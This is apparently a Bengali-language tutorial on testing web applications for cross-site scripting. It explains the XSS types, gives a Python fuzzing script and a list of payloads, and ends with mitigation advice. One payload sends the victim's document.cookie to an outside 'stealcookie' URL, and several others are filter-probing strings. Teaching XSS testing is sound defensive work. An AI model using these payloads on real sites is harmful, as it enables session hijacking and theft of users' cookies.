আমি যে পরিসংখ্যান দেখেছি এবং আমার অভিজ্ঞতা অনুসারে, XSS দুর্বলতাগুলি ওয়েব অ্যাপ্লিকেশনগুলির জন্য একটি প্রচলিত হুমকি হয়ে দাঁড়িয়েছে, যা ডেটা চুরি, সেশন হাইজ্যাকিং এবং ওয়েবসাইট সমস্যাগুলির ঝুঁকি তৈরি করে৷ আমি সিদ্ধান্ত নিয়েছি যে আমি এই দুর্বলতার ধরনটি নিয়ে গবেষণা করতে আরও সময় ব্যয় করতে পারি এবং অন্তত এই ওভারভিউ-এর মতো মৌলিক জ্ঞান আপনার সাথে শেয়ার করতে পারি যাতে অনেক QA এবং dev বিশেষজ্ঞরা তাদের অ্যাপগুলিকে এই সমস্যার বিরুদ্ধে পরীক্ষা করার কিছু উপায় মনে রাখতে পারেন। এই নিবন্ধটি বিভিন্ন ধরণের XSS, পরীক্ষার পদ্ধতি এবং অটোমেশন পদ্ধতির অন্বেষণ করে এবং কার্যকর অনুপ্রবেশ পরীক্ষার জন্য কিছু উদাহরণ এবং পেলোড প্রদান করে।
ক্রস-সাইট স্ক্রিপ্টিং (XSS) আক্রমণকারীদের অন্য ব্যবহারকারীদের দ্বারা দেখা ওয়েব পৃষ্ঠাগুলিতে দূষিত স্ক্রিপ্ট ইনজেকশন করতে দেয়, ক্লায়েন্ট-সাইড কোড এক্সিকিউশনে দুর্বলতাকে কাজে লাগিয়ে। বিভিন্ন ধরনের XSS দুর্বলতা বোঝা এবং সঠিক পরীক্ষার কৌশল ব্যবহার করা এই ধরনের আক্রমণ থেকে সুরক্ষিত নিরাপদ ওয়েব অ্যাপ তৈরি করার জন্য অত্যন্ত গুরুত্বপূর্ণ।
XSS শোষণ ঘটে যখন অবিশ্বস্ত ব্যবহারকারীর ইনপুট অপর্যাপ্তভাবে স্যানিটাইজ করা হয় এবং একটি ওয়েব অ্যাপ্লিকেশনের মধ্যে কার্যকর করা হয়, আক্রমণকারীদের অন্য ব্যবহারকারীর ব্রাউজারের প্রেক্ষাপটে দূষিত স্ক্রিপ্টগুলি ইনজেকশন করতে এবং কার্যকর করতে সক্ষম করে।
যখন ব্যবহারকারীর সরবরাহকৃত ডেটা যথাযথ বৈধতা ছাড়াই প্রতিক্রিয়াতে প্রতিধ্বনিত হয় তখন ঘটে।
উদাহরণ: <script>alert('XSS_DEMO')</script>
একটি URL প্যারামিটারের মাধ্যমে ইনজেক্ট করা হয়েছে।
এই শোষণগুলি ঘটে যখন একটি ওয়েব অ্যাপ্লিকেশন সঠিক স্যানিটাইজেশন ছাড়াই ব্যবহারকারীর ব্রাউজারে অবৈধ ব্যবহারকারীর ইনপুট প্রতিফলিত করে। এই আক্রমণে, আক্রমণকারী স্ক্রিপ্ট কোড সম্বলিত একটি দূষিত URL তৈরি করে, যা শিকারের দ্বারা ক্লিক করা হলে, দুর্বল ওয়েব পৃষ্ঠার প্রেক্ষাপটে কার্যকর করা হয়। ক্ষতিকারক স্ক্রিপ্ট সার্ভারে সংরক্ষণ করা হয় না বরং ব্যবহারকারীর ইনপুট থেকে সরাসরি প্রতিফলিত হয়। প্রতিফলিত XSS দুর্বলতাগুলি প্রায়ই ফিশিং আক্রমণে বা ব্যবহারকারীর ব্রাউজিং অভিজ্ঞতাকে ম্যানিপুলেট করার জন্য ব্যবহার করা হয়। প্রভাব গুরুতর হতে পারে, কুকি চুরি থেকে শুরু করে সেশন হাইজ্যাকিং পর্যন্ত।
ক্ষতিকারক স্ক্রিপ্ট সার্ভারে স্থায়ীভাবে সংরক্ষণ করা হয় এবং অন্য ব্যবহারকারীদের দ্বারা অ্যাক্সেস করা হলে তা কার্যকর করা হয়।
উদাহরণ: ক্ষতিকারক স্ক্রিপ্ট একটি ফোরাম পোস্ট বা সামাজিক নেটওয়ার্ক প্রোফাইল পৃষ্ঠায় একটি মন্তব্য/পোস্টে সংরক্ষিত৷
ক্রমাগত XSS নামেও পরিচিত, যখন একজন আক্রমণকারী একটি ওয়েব অ্যাপ্লিকেশনে দূষিত স্ক্রিপ্ট কোড ইনজেক্ট করে, যা সার্ভারের পাশে সংরক্ষণ করা হয়। এই ইনজেক্টেড স্ক্রিপ্টটি পরে উদ্ধার করা হয় এবং যখনই অন্য ব্যবহারকারীদের দ্বারা দুর্বল পৃষ্ঠাটি অ্যাক্সেস করা হয় তখনই তা কার্যকর করা হয়। সংরক্ষিত XSS আক্রমণগুলি বিশেষত বিপজ্জনক কারণ ইনজেকশনের স্ক্রিপ্ট সময়ের সাথে সাথে চলতে থাকে, সম্ভাব্য একাধিক ব্যবহারকারীকে প্রভাবিত করে এবং ব্যাপক শোষণের দিকে পরিচালিত করে। আক্রমণকারীরা সাধারণত ব্যবহারকারীর দ্বারা তৈরি সামগ্রী যেমন মন্তব্য, ফোরাম পোস্ট, সত্তার নামগুলিকে লক্ষ্য করে যা তাদের দূষিত পেলোডগুলি চালানোর জন্য ওয়েব পৃষ্ঠা বা প্রোফাইল ক্ষেত্রে প্রদর্শিত হয়। সংরক্ষিত XSS এর পরিণতিগুলির মধ্যে ডেটা চুরি, অ্যাকাউন্ট টেকওভার এবং ওয়েবসাইট বিকৃতকরণ অন্তর্ভুক্ত থাকতে পারে, যা ব্যবহারকারী এবং প্রভাবিত সংস্থা উভয়ের জন্যই গুরুত্বপূর্ণ ঝুঁকি তৈরি করে।
স্ক্রিপ্ট এক্সিকিউশন নির্ভর করে ক্লায়েন্ট সাইডে DOM-এর ম্যানিপুলেশনের উপর।
উদাহরণ: JS কোড URL হ্যাশ থেকে ব্যবহারকারী-নিয়ন্ত্রিত ডেটা পুনরুদ্ধার করে এবং কার্যকর করে।
এটি ঘটে যখন একটি ওয়েব অ্যাপ্লিকেশন একটি অনিরাপদ পদ্ধতিতে অবিশ্বস্ত ব্যবহারকারী ইনপুটের উপর ভিত্তি করে DOM কে গতিশীলভাবে পরিচালনা করে। ঐতিহ্যগত XSS আক্রমণের বিপরীতে, যা সার্ভার-সাইড প্রসেসিং জড়িত, DOM-ভিত্তিক XSS সম্পূর্ণরূপে ক্লায়েন্টের দিকে প্রকাশ করে। আক্রমণকারীরা শিকারের ব্রাউজারের মধ্যে নির্বিচারে কোড চালানোর জন্য ক্লায়েন্ট-সাইড স্ক্রিপ্টগুলিকে ম্যানিপুলেট করে DOM-ভিত্তিক XSS ব্যবহার করে। এই ধরনের XSS সনাক্ত করা এবং প্রশমিত করা প্রায়শই কঠিন, কারণ দুর্বলতা ক্লায়েন্ট-সাইড কোডের মধ্যে থাকে এবং সার্ভার-সাইড পরীক্ষার সময় স্পষ্ট নাও হতে পারে। DOM-ভিত্তিক XSS আক্রমণগুলি সেশন হাইজ্যাকিং, ডেটা অপসারণ, এবং ব্যবহারকারীর পক্ষ থেকে অননুমোদিত ক্রিয়াকলাপ সহ বিভিন্ন পরিণতির দিকে নিয়ে যেতে পারে, যা ক্লায়েন্ট-সাইড নিরাপত্তা ব্যবস্থার গুরুত্ব এবং সতর্ক ওয়েব অ্যাপ ডেভেলপমেন্ট অনুশীলনের গুরুত্ব তুলে ধরে।
এটি একটি সামাজিক প্রকৌশল আক্রমণ যেখানে একজন আক্রমণকারী ব্যবহারকারীকে তাদের ব্রাউজারের মধ্যে দূষিত কোড কার্যকর করার জন্য কৌশল করে। প্রথাগত XSS আক্রমণের বিপরীতে যা একাধিক ব্যবহারকারীকে লক্ষ্য করে, Self-XSS তাদের সেশনের মধ্যে কোড চালানোর জন্য ব্যবহারকারীর বিশ্বাসকে কাজে লাগায়। সাধারণত, আক্রমণকারীরা তাদের ব্রাউজারের ডেভেলপার কনসোলে বা ওয়েবসাইটের কিছু ফিল্ডে আপাতদৃষ্টিতে নির্দোষ চেহারার JS কোড পেস্ট করার জন্য প্রলুব্ধ করে, যেমন একটি বৈশিষ্ট্য আনলক করা বা পুরষ্কার অর্জনের মতো ক্ষতিকারক কর্মের আড়ালে। একবার কার্যকর করা হলে, ইনজেকশনের কোডটি সম্ভাব্যভাবে শিকারের অ্যাকাউন্টের সাথে আপস করতে পারে, সংবেদনশীল তথ্য চুরি করতে পারে বা তাদের পক্ষে অননুমোদিত ক্রিয়াকলাপ সম্পাদন করতে পারে। শিকারের অধিবেশনের মধ্যে সীমাবদ্ধ থাকা সত্ত্বেও, সেলফ-এক্সএসএস একটি হুমকি রয়ে গেছে, এই ধরনের প্রতারণামূলক কৌশলগুলিকে চিনতে এবং এড়াতে ব্যবহারকারীর শিক্ষা এবং সচেতনতার গুরুত্বের উপর জোর দেয়।
আপনি কিছু স্ক্রিপ্ট লিখতে পারেন; আমি পাইথন পছন্দ করি, উদাহরণস্বরূপ:
import requests def test_xss(url, parameter): payloads = [ "<script>alert('XSS')</script>", "<img src=x onerror=alert(1)>", # list of your payloads ] for payload in payloads: modified_url = f'{url}?{parameter}={payload}' response = requests.get(modified_url) if payload in response.text: print(f'Potential XSS detected here - {modified_url}') # example test_xss("https://testwebsite.com/search", "query_param_name")
পেলোডগুলি প্রতিফলিত বা কার্যকর হয়েছে কিনা তা নির্ধারণ করতে প্রতিক্রিয়াগুলি বিশ্লেষণ করুন। PoC তৈরি করুন, সম্ভাব্য প্রভাব বুঝুন এবং সমস্যা সমাধানকে অগ্রাধিকার দিন।
পদক্ষেপ:
আপনার অ্যাপের ইনপুট ক্ষেত্রগুলিতে একটি স্ক্রিপ্ট ট্যাগ লিখুন, তারপরে কিছু JS কোড।
উদাহরণস্বরূপ, মৌলিক XSS পেলোড:
<script>alert('XSS');</script> (%0ejavascript:alert(/XSS/)) <script>alert('XSS')</script> // Display alert dialog with 'XSS' message. <img src=x onerror=alert(((123)> // Load broken image, trigger alert with '123'. // Cookie Theft Payload: <img src="http://website.com/stealcookie?cookie="+document.cookie> // Sends victim's cookies to attacker-controlled server. // DOM-based XSS Payload: #"><img src=x onerror=alert(123)> // Exploits DOM manipulation, triggers alert on vulnerable pages.
ইনপুট জমা দিন এবং দেখুন স্ক্রিপ্ট কার্যকর হয় কিনা।
যদি এটি করে, তাহলে অ্যাপ্লিকেশনটি XSS আক্রমণের জন্য ঝুঁকিপূর্ণ।
যদি স্ক্রিপ্টটি কার্যকর না হয়, তাহলে অন্যান্য HTML ট্যাগ যোগ করে ইনপুট পরিবর্তন করার চেষ্টা করুন, যেমন <img>
বা <iframe>
, এবং দেখুন সেগুলি পৃষ্ঠায় প্রতিফলিত হয় কিনা, উদাহরণস্বরূপ (এটি প্রায় সবসময় আমার জন্য কাজ করে):
<b>t</b>#`"/*—est
আপনি আপনার ওয়েব অ্যাপ ইউআরএল বা ব্যবহারকারীর নাম, আপলোড করা ফাইলের নাম বা অ্যাপের পৃষ্ঠায় প্রদর্শিত যে কোনও পাঠ্য যা আপনি পরিবর্তন করতে পারেন তার প্যারামের জন্য একটি স্ক্রিপ্ট যোগ করতে পারেন।
ইনপুটগুলির ফ্রন্ট-এন্ড বৈধতা সম্পর্কে সচেতন হন। সর্বদা একটি সরাসরি অনুরোধ (পোস্টম্যান, বার্প বা অনুরূপ সরঞ্জাম ব্যবহার করে) ব্যবহার করে মান জমা দেওয়ার চেষ্টা করুন।
ডেভ টুলে ব্রাউজার কনসোল চেক করুন কারণ কখনও কখনও আপনি পৃষ্ঠায় কোনও দৃশ্যমান পরিবর্তন দেখতে নাও পেতে পারেন, কিন্তু কিছু চিহ্ন, যেমন `"/*—
পৃষ্ঠার JS/HTML ভেঙ্গে দিতে পারে এবং আপনি কনসোলে একটি সতর্কতা দেখতে পাবেন যা হতে পারে একটি XSS PoC পেতে আপনার পেলোড কীভাবে পরিবর্তন করবেন সে সম্পর্কে আপনার জন্য একটি ইঙ্গিত হতে পারে
ফাজিং এবং পেলোডগুলির একটি তালিকা ব্যবহার করুন - যখন সম্ভব তখন এই পদ্ধতিটিকে স্বয়ংক্রিয় করুন বা এটির জন্য বিশেষ সরঞ্জামগুলি ব্যবহার করুন৷
ব্যক্তিগতভাবে, আমি এখান থেকে পেলোড এবং তথ্য ব্যবহার করতে পছন্দ করি, এটি একটি খুব দরকারী সম্পদ, আমার মতে।
XSS PoC
print()
ফাংশনের মত বিকল্প পেলোড ব্যবহার করা।উন্নত XSS শোষণ
XSS ফিল্টার বাইপাস করা
যে প্রেক্ষাপটে আউটপুট ডেটা রেন্ডার করা হচ্ছে তার উপর ভিত্তি করে ডেটা এনকোড করুন। XSS এর বিরুদ্ধে ব্যাপক সুরক্ষা নিশ্চিত করতে HTML, JS, CSS এবং অন্যান্য প্রসঙ্গের জন্য বিভিন্ন এনকোডিং পদ্ধতি প্রয়োগ করুন।
উদাহরণস্বরূপ , HTML সামগ্রীর জন্য HTML সত্তা এনকোডিং ব্যবহার করুন, ইনলাইন স্ক্রিপ্ট প্রসঙ্গগুলির জন্য জাভাস্ক্রিপ্ট এস্কেপিং এবং স্ক্রিপ্ট ইনজেকশন প্রতিরোধ করতে এবং বিভিন্ন আউটপুট প্রসঙ্গে ডেটা অখণ্ডতা বজায় রাখতে শৈলী বৈশিষ্ট্যগুলির জন্য CSS এস্কেপিং ব্যবহার করুন৷
অনুমোদিত এবং নিষিদ্ধ অক্ষর, নিদর্শন বা বিষয়বস্তুর প্রকারের পূর্বনির্ধারিত অনুমোদিত তালিকা এবং অস্বীকারকারীদের উপর ভিত্তি করে ব্যবহারকারীর ইনপুটগুলিকে ফিল্টার এবং যাচাই করতে ইনপুট হোয়াইটলিস্টিং এবং ব্ল্যাকলিস্টিং প্রয়োগ করুন।
XSS ওয়েব অ্যাপের জন্য ক্রমাগত হুমকি, ডেটা লঙ্ঘন এবং ব্যবহারকারীর বিশ্বাসকে ঝুঁকিপূর্ণ করে। XSS প্রকার এবং পরীক্ষার পদ্ধতি বোঝা কার্যকরী প্রশমনের জন্য অত্যন্ত গুরুত্বপূর্ণ। ইনপুট বৈধতা, আউটপুট এনকোডিং এবং CSP বাস্তবায়নের মতো প্রতিরোধ কৌশলগুলি অ্যাপের নিরাপত্তা উন্নত করে। নিরাপত্তা অনুশীলন এবং সহযোগিতাকে অগ্রাধিকার দিয়ে, দলগুলি তাদের অ্যাপগুলিকে XSS থেকে রক্ষা করতে পারে এবং পর্যাপ্ত ওয়েব অ্যাপ নিরাপত্তা নিশ্চিত করতে পারে।
আপনি যদি একজন শিক্ষানবিস হন এবং সাইবারসিকিউরিটি এবং পেনিট্রেশন টেস্টিংয়ে আগ্রহী হন বা আপনার অ্যাপটিকে আরও সুরক্ষিত করার জন্য উন্নত করতে চান, তাহলে আপনি এই বিষয়গুলিতে আমার নিবন্ধগুলি পড়তে পারেন:
XSS এবং পেলোড সম্পর্কে আরও বিশদ বিবরণের জন্য, আপনি নিম্নলিখিত সংস্থানগুলি খুঁজে পেতে পারেন:
সর্বদা সুস্পষ্ট অনুমতি সহ এবং একটি নিয়ন্ত্রিত পরিবেশের মধ্যে অনুপ্রবেশ পরীক্ষা পরিচালনা করুন। এই নৈতিক দৃষ্টিভঙ্গি নিশ্চিত করে যে নিরাপত্তা মূল্যায়নগুলি দায়িত্বশীল পরীক্ষার প্রোটোকলের সাথে সারিবদ্ধ করে, সিস্টেমে অসাবধানতাবশত আপস প্রতিরোধ করে এবং পরীক্ষার প্রক্রিয়া এবং ব্যাপক সাইবার নিরাপত্তা কৌশল উভয়ের অখণ্ডতা বজায় রাখে।